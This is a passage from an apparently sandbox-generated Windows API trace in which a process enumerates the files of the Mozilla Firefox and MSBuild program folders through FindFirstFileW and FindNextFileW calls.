ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xe3, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 0 [0237.132] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0237.132] GetProcessHeap () returned 0xc10000 [0237.132] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0237.132] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecaee98b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecb87321, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xecb87321, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.1", cAlternateFileName="")) returned 0 [0237.132] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0237.132] GetProcessHeap () returned 0xc10000 [0237.133] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x78dfdd00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x139d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="IA2Marshal.dll", cAlternateFileName="IA2MAR~1.DLL")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9cbc491, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xf7d369cb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7c77d82, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x7492, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="install.log", cAlternateFileName="")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec13ee02, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec13ee02, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x79787380, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd3d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="lgpllibs.dll", cAlternateFileName="")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7aa9a080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x69d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7c736400, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1d5bd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec16506e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec16506e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7da49100, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2f5d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="maintenanceservice.exe", cAlternateFileName="MAINTE~1.EXE")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec18b2c8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec18b2c8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7ed5be00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x265a8, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="maintenanceservice_installer.exe", cAlternateFileName="MAINTE~2.EXE")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1b1534, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1b1534, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8006eb00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x963d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="minidump-analyzer.exe", cAlternateFileName="MINIDU~1.EXE")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1b1534, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1b1534, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x81d0ae80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x176bd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mozavcodec.dll", cAlternateFileName="MOZAVC~1.DLL")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8301db80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x299d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mozavutil.dll", cAlternateFileName="MOZAVU~1.DLL")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x84330880, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x269d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="mozglue.dll", cAlternateFileName="")) returned 1 [0237.133] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1d77a1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1d77a1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x93608900, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x9a940, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1fd9fb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1fd9fb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x85fccc00, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x172fd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="nss3.dll", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec1fd9fb, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec1fd9fb, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x872df900, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x785d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="nssckbi.dll", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec223c5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec223c5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x885f2600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="nssdbm3.chk", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec223c5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec223c5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x885f2600, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1bfd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="nssdbm3.dll", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec249eb7, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec249eb7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb5133d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x1196618, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec270127, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec270127, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x89905300, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xf7d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="pingsender.exe", cAlternateFileName="PINGSE~1.EXE")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec296381, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec296381, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdf163100, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0xa6, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="platform.ini", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec296381, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec296381, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8ac18000, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x18bd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="plugin-container.exe", cAlternateFileName="PLUGIN~1.EXE")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec2bc5f9, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec2bc5f9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8b5a1680, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x8dd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="plugin-hang-ui.exe", cAlternateFileName="PLUGIN~2.EXE")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5b75a0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5b75a0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xbc628460, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="precomplete", cAlternateFileName="PRECOM~1")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5b75a0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5b75a0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8c8b4380, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x49d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="qipcap64.dll", cAlternateFileName="")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dd848, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5dd848, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xec53900, ftLastWriteTime.dwHighDateTime=0x1d31cde, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="removed-files", cAlternateFileName="REMOVE~1")) returned 1 [0237.134] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5dd848, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec5dd848, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8dbc7080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="softokn3.chk", cAlternateFileName="")) returned 1 [0237.135] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec603a89, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec603a89, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8dbc7080, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x2d5d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="softokn3.dll", cAlternateFileName="")) returned 1 [0237.135] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec603a89, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec603a89, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x99566a00, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0xf36c0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0237.135] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="uninstall", cAlternateFileName="UNINST~1")) returned 1 [0237.135] GetProcessHeap () returned 0xc10000 [0237.135] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33e8fc8 [0237.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0237.227] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef639ad2, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.227] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecac873b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xecac873b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9d3bb980, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0xd9c28, dwReserved0=0x0, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1 [0237.227] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef639ad2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef639ad2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef875ed7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="shortcuts_log.ini", cAlternateFileName="SHORTC~1.INI")) returned 1 [0237.227] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 1 [0237.227] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9d2ec34, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe9d2ec34, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xf7ad4356, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xeea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uninstall.log", cAlternateFileName="UNINST~1.LOG")) returned 0 [0237.227] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0237.229] GetProcessHeap () returned 0xc10000 [0237.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33e8fc8 | out: hHeap=0xc10000) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdde50400, ftLastWriteTime.dwHighDateTime=0x1d31cdd, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="update-settings.ini", cAlternateFileName="UPDATE~1.INI")) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec629cf8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec629cf8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x8eed9d80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x579d0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="updater.exe", cAlternateFileName="")) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x5cdc3b80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x4dd, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="updater.ini", cAlternateFileName="")) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec64ff52, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec64ff52, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x93608900, ftLastWriteTime.dwHighDateTime=0x1d31cd7, nFileSizeHigh=0x0, nFileSizeLow=0x15750, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 1 [0237.229] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6761b2, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xec6761b2, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9ad95f80, ftLastWriteTime.dwHighDateTime=0x1d31ce2, nFileSizeHigh=0x0, nFileSizeLow=0x3e7cbd0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName="xul.dll", cAlternateFileName="")) returned 0 [0237.229] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0237.230] GetProcessHeap () returned 0xc10000 [0237.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0237.233] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0237.233] GetProcessHeap () returned 0xc10000 [0237.233] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0237.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\MSBuild\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe8e1af8e, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8e1af8e, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc1a528, dwReserved1=0x0, cFileName=".", 